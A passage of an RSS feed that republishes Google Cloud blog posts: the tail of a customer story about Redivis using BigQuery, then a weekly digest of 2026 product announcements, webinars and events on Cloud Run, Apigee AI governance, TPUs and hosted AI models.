likely lose insight into the impact these events have on each other. With the help of cloud solutions like <a href="https://cloud.google.com/storage">Cloud Storage</a> and <a href="https://cloud.google.com/bigquery">BigQuery</a>, Redivis figured out ways to securely connect the data between public datasets hosted in Big Query with private datasets to unlock enriched insights for their researchers.  </p><p>Using Cloud Storage<a href="https://cloud.google.com/storage">,</a> Redivis makes it easy for administrators to upload large amounts of data to the platform. These data records are then stored in BigQuery, Google Cloud’s serverless and scalable data warehouse. When researchers explore their data with Redivis, they can easily see what steps they need to take to request access to existing records. Once authorized, users can query the data using SQL, without needing to know database languages. This will provide the user with manageable data subsets that can be analyzed within the context of their current study. Finally, researchers can integrate a wide array of analytical tools into this data pipeline. Using BigQuery’s ability to one-click export data to Google’s <a href="https://marketingplatform.google.com/about/data-studio/benefits/" target="_blank">Data Studio</a>, Redivis is able to create interactive data visualizations and integrate with notebook environments through Python and R clients.</p><p>With BigQuery managing infrastructure requirements, Redivis scaled to petabytes of data, 1,000 times larger than the terabytes they had previously, without additional infrastructure workloads straining their company. Most importantly, BigQuery’s compute architecture supports real-time analysis across billions of records from both public and restricted datasets, unlocking new ways to discover insights. “Researchers are regularly coming to me to say that queries that once took hours are executing in seconds,” says Ian Mathews, CEO of Redivis. “One can only imagine how transformative this is in understanding new datasets and exploring novel hypotheses.” </p><h3>The future of data accessibility</h3><p>As more academic institutions and researchers join Redivis, they will continue to identify ways of minimizing friction at every step of the data-driven research process. </p><p>To learn more about the steps Redivis is taking to make data more accessible and empower researchers, <a href="https://redivis.com/?anthem_video" target="_blank">check out this video</a>. And to learn more about BigQuery, <a href="https://cloud.google.com/bigquery">visit our website</a>.</p></div>
<div class="block-related_article_tout">





<div class="uni-related-article-tout h-c-page">
  <section class="h-c-grid">
    <a href="https://cloud.google.com/blog/products/data-analytics/genome-data-analytics-with-google-cloud/" data-analytics='{
                       "event": "page interaction",
                       "category": "article lead",
                       "action": "related article - inline",
                       "label": "article: {slug}"
                     }' class="uni-related-article-tout__wrapper h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
        h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3 uni-click-tracker">
      <div class="uni-related-article-tout__inner-wrapper">
        <p class="uni-related-article-tout__eyebrow h-c-eyebrow">Related Article</p>

        <div class="uni-related-article-tout__content-wrapper">
          <div class="uni-related-article-tout__image-wrapper">
            <div class="uni-related-article-tout__image"></div>
          </div>
          <div class="uni-related-article-tout__content">
            <h4 class="uni-related-article-tout__header h-has-bottom-margin">Accelerating Mayo Clinic’s data platform with BigQuery and Variant Transforms</h4>
            <p class="uni-related-article-tout__body">See how Mayo Clinic uses Google Cloud to work with genomic variant data for research purposes. Cloud data warehouse BigQuery lets them sa...</p>
            <div class="cta module-cta h-c-copy  uni-related-article-tout__cta muted">
              <span class="nowrap">Read Article
                <svg class="icon h-c-icon" role="presentation">
                  <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#mi-arrow-forward"></use>
                </svg>
              </span>
            </div>
          </div>
        </div>
      </div>
    </a>
  </section>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s new with Google Cloud]]></title>
<description><![CDATA[Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud bl...]]></description>
<link>https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p data-block-key="kgod7">Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. </p><hr><p data-block-key="ru1z9"><b>Tip</b>: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: <a href="https://cloud.google.com/blog/topics/inside-google-cloud/complete-list-google-cloud-blog-links-2021">Google Cloud blog 101: Full list of topics, links, and resources</a>.</p><hr><p data-block-key="b0lnw"></p></div>
<div class="block-aside"><dl>
    <dt>aside_block</dt>
    <dd>&lt;ListValue: []&gt;</dd>
</dl></div>
<div class="block-paragraph_advanced"><h3>Jul 6 - Jul 10</h3>
<ul>
<li><strong>Webinar: Introducing Google Cloud NGFW Enterprise advanced malware protection - powered by Palo Alto Networks<br></strong>Discover the new Cloud NGFW advanced malware sandbox, arriving in preview later this year. Powered by Palo Alto Networks Advanced Wildfire, it leverages data from 70,000+ customers to help defeat advanced malware. Join us on July 16 at 11 AM EDT to learn how to build a resilient, zero-trust cloud infrastructure that protects your apps and data, wherever they reside.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="18" href="https://www.brighttalk.com/webcast/18282/668861?utm_source=GCBlog" rel="noreferrer noopener" target="_blank">Register for the webinar now</a></li>
<li><strong>Safely run AI-generated code in Cloud Run sandboxes<br></strong>Cloud Run sandboxes, now in public preview, are lightweight, isolated execution boundaries that you can spawn near-instantly <strong>within your existing Cloud Run service instances</strong>.<br><br>Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="22" href="https://cloud.google.com/blog/topics/developers-practitioners/google-cloud-run-sandboxes-are-in-public-preview" rel="noreferrer noopener" target="_blank">Read the blog</a><span> to learn more and get started today.</span></li>
<li><strong>Australia API Horizon: Scaling Enterprise Governed AI Agents<br></strong>The transition from AI chatbots to autonomous agents is the most critical integration point for your business. Join Google Cloud at our upcoming events to explore exclusive deep-dive sessions on architecting for the agentic era.<br><br>Discover how to use Apigee as an intelligent AI Gateway to govern, secure, and scale high-performance architectures. You will learn to seamlessly build AI tools from your existing APIs and maintain control over your entire ecosystem.<br><br>Join us in your preferred city:
<ul>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="36" href="https://goo.gle/4voh18S" rel="noreferrer noopener" target="_blank"><strong>Sydney:</strong> July 28, 2026, at Google Sydney, One Darling Island.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="37" href="https://goo.gle/4h2x0FS" rel="noreferrer noopener" target="_blank"><strong>Canberra:</strong> July 29, 2026, at Hotel Realm.</a></li>
<li><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="38" href="https://goo.gle/4yisb1F" rel="noreferrer noopener" target="_blank"><strong>Melbourne:</strong> August 4, 2026, at Google Melbourne.</a></li>
</ul>
</li>
<li><strong>Build highly available, multi-region services on Cloud Run<br></strong>Maintaining uptime for business-critical applications just got a lot easier on Cloud Run. Service health, now Generally Available, automates cross-region failover by leveraging readiness probes for instance-level health checks with a simple, two-click setup. You can configure service health with global external Application Load Balancers for public-facing applications or cross-region internal Application Load Balancers for private networking traffic.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="42" href="https://cloud.google.com/run/docs/configuring/configure-service-health" rel="noreferrer noopener" target="_blank">Learn how to configure service health for Cloud Run.</a></li>
<li><strong>Report: 83% of organizations need infrastructure upgrades for agentic AI<br></strong>The shift from conversational bots to autonomous agents is breaking legacy systems. Our new <em>State of AI Infrastructure</em> report details how engineering leaders are adapting to these massive new workloads. To eliminate inference bottlenecks, control hidden scaling costs, and manage agent sprawl, the industry is rapidly moving toward fluid compute, centralized governance, and unified, co-designed architectures.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="46" href="https://cloud.google.com/blog/products/compute/state-of-ai-infrastructure-report-overview?e=48754805" rel="noreferrer noopener" target="_blank">Explore our key infrastructure insights</a></li>
<li><strong>Stop tinkering, start scaling: the industrialized AI Playbook<br></strong>Did you know that only 5% of custom AI investments actually return measurable business value? The problem isn’t the technology—it’s how organizations are wired to run it.<br><br>In this compelling read, Google Cloud Consulting breaks down the operational blueprint that bridges the stark gap between "cool tech experiments" and real, P&amp;L-impacting enterprise ROI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="50" href="https://www.google.com/url?q=https%3A%2F%2Fmedium.com%2F%40kjouannigot_73547%2Fscaling-trusted-ai-google-cloud-insights-to-capture-enterprise-roi-aa6c9b308adb" rel="noreferrer noopener" target="_blank">Read the full article on Medium</a></li>
<li><strong>AI Agent Clinic: Slashing App Latency by 80%<br></strong>Prototyping an AI agent is easy, but scaling for live traffic presents unique challenges. In the latest AI Agent Clinic, our technical experts partner with a developer to optimize PlaybackIQ, a live football analysis agent. This session demonstrates how to use OpenTelemetry to trace bottlenecks in the Gemini Enterprise Agent Platform and deploy to Cloud Run for high-concurrency scaling, achieving an 80% reduction in response time. Learn production-grade debugging strategies to optimize your own LLM applications.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="54" href="https://www.google.com/search?q=https://youtu.be/G7olcqETSn8" rel="noreferrer noopener" target="_blank">Watch the 60-minute teardown</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 29 - Jul 3</h3>
<ul>
<li><strong>Claude Sonnet 5, Anthropic’s latest model, is now available on Agent Platform</strong>. <br>This addition serves as a drop-in replacement for Sonnet 4.6, giving organizations expanded choice for task completion across enterprise workflows. It features enhanced reasoning, cleaner code generation, and computer use capabilities for desktop and browser workflows.<br><br>By continuing to rapidly bring frontier models to our platform, Google Cloud offers an uncompromised choice of the industry's best technology to build, test, and scale enterprise-grade AI.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/agent-platform/publishers/anthropic/model-garden/claude-sonnet-5?hl=en" rel="noreferrer noopener" target="_blank"><em>Get started today.</em></a></li>
<li>
<p><strong>Automate your AI governance with Apigee and YAML<br></strong><span>Manual API gateway configurations can quickly slow down your AI engineering velocity. Join the Apigee community on Thursday, July 16, to discover an automated, declarative blueprint for model garden management. Learn how a simple, repeatable YAML pattern lets your AI practitioners instantly spin up secure, policy-backed enterprise configurations  without friction. Bring your questions and connect during our live Q&amp;A session. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 16 Community TechTalk</strong></a></p>
</li>
<li>
<p><strong>Build next-generation AI portals for autonomous agents<br></strong><span>Standard developer portals were designed for human developers to subscribe to static APIs. Today, autonomous agents, LLM toolkits, and dynamic runtimes demand a central nervous system for governance. Join our technical deep dive on Thursday, July 23, to explore Apigee's new AI Portals solution. You will see exactly how to deploy full-service, MCP powered hubs to safely manage enterprise self-service for models, tools, and agents. </span></p>
<p><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 23 Community TechTalk</strong></a></p>
</li>
<li><strong>Protect your infrastructure from advanced cyberattacks at the API layer (Presented in Portuguese)<br></strong>In an era of increasingly sophisticated threats, relying solely on traditional firewalls leaves critical data gaps. Join our technical community TechTalk on Thursday, July 30—conducted in Portuguese—to learn how to proactively mitigate risks directly at the gateway layer. This session demonstrates how to configure and govern essential Apigee security policies to build a robust line of defense, ensuring maximum availability and complete integrity for your enterprise microservices. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4y4j44A" rel="noreferrer noopener" target="_blank"><strong>Register for the July 30 Portuguese Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 22 - Jun 26</h3>
<ul>
<li><strong>Accelerate TPU model loading while saving RAM on GKE.<br></strong>Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source <strong>Run:ai Model Streamer</strong> now natively supports TPUs with Google Cloud Storage in<strong> </strong><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://github.com/vllm-project/tpu-inference" rel="noreferrer noopener" target="_blank"><strong>TPU vLLM 0.18.0</strong>.</a> This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was <strong>over 2x faster</strong> while cutting peak host memory usage by half. <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/accelerate-tpu-model-loading-while-saving-ram-on-gke/374835" rel="noreferrer noopener" target="_blank"><strong>Read the full guide and get started today</strong></a>.</li>
<li><strong>Stop Training Blind: Scaling AI with the New OpenTelemetry-Based TPU AI Telemetry Collector Agent<br></strong>Google Cloud’s new AI Telemetry Collector agent standardizes TPU monitoring using OpenTelemetry. It optimizes enterprise ML workloads by identifying silent failures and providing zero-cost operational metrics without draining host CPU cycles. The agent seamlessly routes telemetry to Google Cloud Monitoring or Prometheus and custom Grafana setups. Pre-installed on Google-optimized Ubuntu images or available via Docker, it tracks memory, network latency, and core utilization to maximize multi-node training efficiency.<br><br>You can read more of this capability by clicking this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://discuss.google.dev/t/stop-training-blind-scaling-ai-with-the-new-opentelemetry-based-tpu-ai-telemetry-collector-agent/375210" rel="noreferrer noopener" target="_blank">link</a>.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 15 - Jun 19</h3>
<ul>
<li><strong>Join us for a deep dive into agentic AI control with AppyThings<br></strong>Your integrations aren’t failing—they are evolving. When users interact with AI agents, they no longer arrive directly at your site, resulting in experiences stripped of your context, expertise, and intended experience. Join us on Thursday, June 25, for a community tech talk in partnership with AppyThings to learn how to solve this new gateway challenge. We will explore how MTN laid an integration foundation with the Model Context Protocol (MCP) to deliver accurate, consistent experiences. Our technical experts will demonstrate how to leverage Apigee as a centralized tools management solution to govern agent access. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/3Sfle0y" rel="noreferrer noopener" target="_blank"><strong>Register for the session</strong></a></li>
<li><strong>Optimize Spot VM Deployments with Capacity Advisor for Spot, Now in Public Preview<br></strong>Google Compute Engine has launched <strong>Capacity Advisor for Spot</strong> to Public Preview, now open to all customers. This tool turns Spot capacity discovery into a data-driven process by providing real-time deployment recommendations to maximize obtainability and minimize preemption risks. Query the <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank"><strong>Capacity Advisor API</strong></a> for obtainability and minimum estimated uptimes, or use the new <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://console.cloud.google.com/compute/capacityAdvisor" rel="noreferrer noopener" target="_blank"><strong>Console UI</strong></a> featuring a global availability map, spot price lookups, and historical preemption rate trends to visually find the most cost-efficient compute capacity.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/compute/docs/instances/view-vm-availability" rel="noreferrer noopener" target="_blank">Get started today</a> to start optimizing your Spot VM deployments!</li>
<li><strong>Build a multi-tenant agentic AI system<br></strong>When scaling generative AI across different business units, your teams need specialized AI agents with unique operational rules and tools. Our new reference architecture helps you build a centralized multi-tenant platform to prevent fragmented silos, eliminate data exposure risks, and maintain unified compliance. Read the guide to <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://docs.cloud.google.com/architecture/multi-tenant-agentic-ai-system" rel="noreferrer noopener" target="_blank">design and deploy a multi-tenant agentic AI system</a> in Google Cloud.</li>
<li><strong>How to Configure Gemini Enterprise to Connect to a Custom MCP Server<br></strong>The Gemini Enterprise MCP Connector was a big announcement at Google Cloud Next because it introduces the ability to connect Gemini Enterprise to MCP servers. This blog <a href="https://medium.com/google-cloud/how-to-configure-gemini-enterprise-to-connect-to-a-custom-mcp-server-2e28adc96420" rel="noopener" target="_blank">post</a> provides a step-by-step guide on how to configure your first Custom MCP Server connector using the Google Maps Ground Lite MCP server as an example. Once you understand this flow, you can configure multiple MCP servers with Gemini Enterprise to bring all the context you need.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 8 - Jun 12</h3>
<ul>
<li><strong>Simplify Multi-Cloud Planning with Cloud Location Finder, now Generally Available</strong> <br>Cloud Location Finder provides up-to-date data on public regions, zones, and Google Distributed Cloud Connected locations across Google Cloud, AWS, Azure, and OCI. You can now programmatically discover locations based on provider, proximity, territory, and carbon footprint to optimize your global infrastructure strategy for performance, compliance, and sustainability. <br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" data-airgap-id="14" href="https://cloud.google.com/location-finder/docs" rel="noreferrer noopener" target="_blank">Get started for free today</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Jun 1 - Jun 5</h3>
<ul>
<li><strong>Modeling the physical world with BigQuery Graph</strong><br>Managing complex supply chains requires more than just spreadsheets; it requires a digital replica of the physical world. In this <a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://cloud.google.com/blog/products/data-analytics/modeling-a-digital-twin-using-bigquery-graph" rel="noreferrer noopener" target="_blank">post</a>, Guru Rangavittal and Candice Chen explore how BigQuery Graph enables organizations to build a digital twin by turning physical assets into an interconnected map of nodes and edges. By moving beyond traditional relational databases, businesses gain real-time clarity into operations—from executing surgical ingredient recalls to analyzing weather-driven logistics risks. Discover how BigQuery Graph transforms reactive firefighting into proactive, precision modeling, allowing you to see critical connections in seconds and future-proof your supply chain.</li>
<li><strong>Apigee for AI: Govern LLMs and MCP Servers (Presented in Spanish)<br></strong>Learn how to securely transition your AI initiatives from experimental prototypes to enterprise-ready deployments. Join Luis Cuellar on June 18 for a technical deep dive (presented in Spanish) exploring Apigee’s latest AI gateway capabilities. Discover how to centralize governance over Model Context Protocol (MCP) servers, protect Large Language Models (LLMs) with robust API gateway security policies, and manage token-based quotas.<br><br><a class="colors-hyperlink-primary underline focus-visible outline-offset-0 rounded" href="https://goo.gle/4dyC2Ie" rel="noreferrer noopener" target="_blank"><strong>Register for the June 18 Spanish Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 25 - May 29</h3>
<ul>
<li>
<p><strong><a href="https://www.anthropic.com/news/claude-opus-4-8" rel="noopener" target="_blank"><span>Anthropic’s Claude Opus 4.8</span></a><span> is now available on </span><a href="https://console.cloud.google.com/vertex-ai/publishers/anthropic/model-garden/claude-opus-4-8"><span>Gemini Enterprise Agent Platform</span></a></strong><span><strong>. </strong></span><span>As we continue to expand our platform's model offerings, this addition gives organizations more options for handling complex, multi-stage enterprise workflows. Claude Opus 4.8 brings strong capabilities in agentic coding, allowing developers to manage extensive refactors and tracking dependencies over extended sessions.</span></p>
</li>
<li><strong>API Horizon Munich July 6, 2026: Orchestrating the Next Era of AI and APIs <br></strong>Master the orchestration of next-gen AI and digital ecosystems. Join Google Cloud experts and DACH tech leaders on July 6 for an exclusive look at the Apigee roadmap, Agent Management, and Model Context Protocol (MCP). Gain real-world insights and connect with the regional integration community.<strong><br><br><a href="https://goo.gle/4dTxQmo" rel="noopener" target="_blank">Register now</a></strong></li>
<li><strong>Securing AI Agents: The Extended Agent Gateway Pattern<br></strong>Learn how to prevent autonomous AI agents from invoking unauthorized APIs. Join Apigee Specialist Joel Gauci on June 4 for a technical deep dive into the Extended Agent Gateway pattern. This session covers enforcing Fine-Grained Authorization (FGA), implementing secure token exchange, and establishing Model Context Protocol (MCP) governance at the API gateway layer to protect enterprise backend services.<br><br><a href="https://goo.gle/4fbAsxg" rel="noopener" target="_blank"><strong>Register for the June 4 Community TechTalk</strong></a></li>
<li><strong>API-to-Agent Security: Exposing REST APIs to Gemini Enterprise via MCP<br></strong>Connect Gemini Enterprise agents to core data without creating security hazards. Join Google Cloud Specialist Nigel Walters on June 11 to learn how to instantly transform legacy REST APIs into secure Model Context Protocol (MCP) servers. We’ll cover how to safely register tools with Gemini while enforcing gateway-level guardrails like rate limiting and access control policies.<br><br><a href="https://goo.gle/4nVyjIr" rel="noopener" target="_blank"><strong>Register for the June 11 Community TechTalk</strong></a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 18 - May 22</h3>
<ul>
<li><strong>Chinese Webinar | June 4: AI Command and Control<br></strong>As AI agents move from experimental pilots to core enterprise functions, governance has become a critical next step. Join Google Cloud on June 4th at 10:00 AM (Beijing Time) to learn how to build a secure AI management layer architecture. We'll explore how to develop governed MCP (Model Context Protocol) endpoints, manage tool access to enterprise data, and leverage robust audit logs to operationalize AI. This session also includes a practical demonstration of these governance frameworks on Google Cloud.<br><br><a href="https://goo.gle/4dx4Lf5" rel="noopener" target="_blank">Register here</a></li>
<li><strong>GCP Announces New Features to Benchmark and Optimize LLMs for On-Device Use Cases<br></strong>Deploying fine-tuned LLMs from GCP to edge devices like smartphones is complex due to fragmented hardware. Google AI Edge Portal bridges this gap, giving GCP developers the ability to test AI performance on 120+ Android devices, representing the full diversity of high, medium, and low tier smartphones on the market today. This week at I/O, we announced brand new <a href="https://cloud.google.com/blog/products/ai-machine-learning/benchmark-llms-on-device-with-ai-edge-portal" rel="noopener" target="_blank">capabilities</a> to benchmark and debug LLM performance across these devices. <a href="https://docs.google.com/forms/d/e/1FAIpQLSfTcGPycQve8TLAsfH46pBlXBZe9FrgJAClwbF7DeL1LgVn4Q/viewform" rel="noopener" target="_blank">Sign-up</a> to utilize these new features in private preview today.</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>May 11 - May 15</h3>
<ul>
<li><strong>Build Your AI &amp; MCP Control Tower for Universal Governance<br></strong>Master the future of agentic security with Apigee. Join our Community TechTalk on May 21 to discover how Apigee serves as a central "Control Tower" for the Model Context Protocol (MCP). We will explore how new JSON-RPC tool authorization enables fine-grained access policies across your organization, ensuring secure and scalable AI deployments. Whether managing internal tools or external users, learn to govern your agentic ecosystem with absolute precision. This session is designed for global coverage across EMEA and AMER regions.<br><br><a href="https://goo.gle/4u9slWF" rel="noopener" target="_blank">Register for the May 21 Community TechTalk</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 27 - May 1</h3>
<ul>
<li><strong>Master Your Launch: The Apigee Production Go-Live Checklist<br></strong>Ensure a secure launch with the Apigee production guide. Join Nicola Cardace on May 28 to explore security guardrails, including IAM roles, mTLS configurations, and encrypted KVM migrations. Scheduled at 11 AM EDT / 5 PM CEST to support EMEA and AMER teams, this TechTalk provides the technical roadmap you need to flip the switch with absolute confidence.<br><br><strong><a href="https://goo.gle/4elMCTI" rel="noopener" target="_blank">Register for the May 28 Community TechTalk</a></strong></li>
<li>
<p><strong>Transforming APIs into Governed Agentic Tools on the Google Cloud Agentic Platform<br></strong><span>Turn your APIs into secure, governed agentic tools on the Google Cloud Agentic Platform. Join Specialist Christophe Lalevée on May 7 for a technical deep dive into AI productization. Scheduled at 5 PM CEST / 11 AM EDT to maximize coverage for developers across EMEA and AMER, this session explores the integration and governance frameworks required to scale enterprise-ready AI with confidence.</span></p>
<p><a href="https://goo.gle/3PfWm7M" rel="noopener" target="_blank">Register for the May 7 Community TechTalk</a></p>
</li>
<li><a href="https://docs.cloud.google.com/compute/docs/accelerator-optimized-machines#g4-machine-types" rel="noopener" target="_blank">Fractional G4 VMs</a> are Generaly Available, providing a highly efficient and cost-effective entry point for AI and graphics workloads. These new configurations, using NVIDIA virtual GPU (vGPU) technology, allow you to leverage the power of the NVIDIA RTX PRO 6000 Blackwell Server Edition GPUs in flexible, smaller increments, so you can right-size your infrastructure to match the specific demands of your applications. By providing more granular access to advanced hardware, fractional G4 VMs let you optimize resource allocation and reduce overhead without sacrificing performance. You can now select from additional GPU slice sizes for your specific needs:
<ul>
<li><strong>1/2 GPU:</strong> Ideal for more intensive tasks such as LLM inference, robotics sensor simulation, and high-fidelity 3D rendering.</li>
<li><strong>1/4 GPU:</strong> Optimized for mainstream workloads, including mid-range creative design, video transcoding, and real-time data visualization.</li>
<li><strong>1/8 GPU:</strong> Great for lightweight applications such as remote desktops, productivity tools, and entry-level streaming services.</li>
</ul>
</li>
<li>
<p>Transitioning AI from a sandbox prototype to an enterprise-grade system is a major hurdle. A monolithic script won't suffice for widespread deployment. To achieve true scale and reliability with Gemini, organizations must adopt service-oriented micro-agent architectures, establish Zero-Trust security, and implement rigorous EvalOps. Master the "Agentic Maturity Ladder" to ensure your AI &amp; Agentic solutions are robust, secure, and ready for the real world.</p>
<p><a href="https://lnkd.in/gHBH8cTv" rel="noopener" target="_blank">Watch the deep dive</a> and <a href="https://discuss.google.dev/t/beyond-the-prototype-scaling-production-grade-agents-with-gemini/356140" rel="noopener" target="_blank">read the developer blog</a> to learn more.</p>
</li>
<li><strong>ML Development in VS Code with Google Cloud Power: Workbench Extension Now Available<br></strong>Data scientists and developers can now combine the local productivity of VS Code with the scalable infrastructure of Google Cloud. The new Google Cloud Workbench Notebooks extension allows you to connect to and run notebooks on managed cloud environments directly within your local IDE. This integration streamlines the ML lifecycle by eliminating context switching and providing high-performance compute for complex workloads in a familiar interface. As part of our commitment to the developer ecosystem, the extension is fully open-sourced to support community-driven innovation.
<ul>
<li><strong>Install from Marketplace:</strong> <a href="https://marketplace.visualstudio.com/items?itemName=GoogleCloudTools.workbench-notebooks" rel="noopener" target="_blank">GoogleCloudTools.workbench-notebooks</a></li>
<li><strong>Contribute on GitHub:</strong> <a href="https://github.com/GoogleCloudPlatform/colab-enterprise-vscode" rel="noopener" target="_blank">colab-enterprise-vscode</a></li>
</ul>
</li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 20 - Apr 24</h3>
<ul>
<li><strong>Announcing the 2026 Google Cloud Partners of the Year<br></strong>Google Cloud is honored to celebrate the winners of the 2026 Partner of the Year awards! These awards recognize an exceptional group of partners across AI, Security, Infrastructure, and more, who have demonstrated a commitment to customer success. From global system integrators to specialized startups, these winners are leveraging the power of Google Cloud to solve complex challenges and drive digital transformation worldwide. Join us in congratulating these organizations for their innovation, collaboration, and impactful results over the past year.<br><br>See the <a href="https://cloud.google.com/blog/topics/partners/2026-partners-of-the-year-winners-next26">2026 Partner Award winners</a></li>
</ul>
<h3 data-draftjs-conductor-fragment='{"blocks":[{"key":"865rk","text":"Week of Dec 16 - Dec 20","type":"header-three","depth":0,"inlineStyleRanges":[],"entityRanges":[],"data":{}}],"entityMap":{}}'>Apr 13 - Apr 17</h3>
<ul>
<li>We're excited to announce the <strong>Public Preview of Datastream’s metadata integration with Knowledge Catalog</strong>. This is the first step in our vision to provide a centralized, "single pane of glass" for all Datastream assets. The enhancement automatically synchronizes Streams, Connection Profiles, and Private Connections, eliminating data silos. It enhances discoverability, allowing you to search for Datastream assets using the same interface as BigQuery tables. Centralized governance is also provided, making your real-time data estate more transparent and easier to manage.</li>
<li><strong>Upgrading Apigee OPDK to 4.53 with OS Modernization<br></strong>Modernize your infrastructure using Google’s official, sequential upgrade path. Our Technical expert, Rakesh Talanki outlines how to upgrade Apigee OPDK to v4.53 while migrating to a supported OS (RHEL 8.x/9.x). This guide covers the "build-out" methodology, including multi-data center syncing, to ensure a stable, zero-downtime transition<br><br><a href="https://goo.gle/3Oa8uqy" rel="noopener" target="_blank">Read the guide</a></li>
<li><strong>Cloud Run Worker Pools and CREMA: Powering Serverless AI at Scale<br></strong>Google Cloud has announced the General Availability of <strong>Cloud Run worker pools</strong>, a new resource type designed specifically for pull-based, non-HTTP workloads. Unlike traditional Cloud Run services that scale based on request traffic, worker pools provide an "always-on" environment for background tasks like processing message queues or running large-scale AI inference. To support this, Google Cloud also open-sourced the <strong>Cloud Run External Metrics Autoscaler (CREMA)</strong>. Built on KEDA, CREMA enables queue-aware autoscaling for worker pools, allowing them to dynamically scale based on external signals like Pub/Sub backlog or Kafka lag.</li>
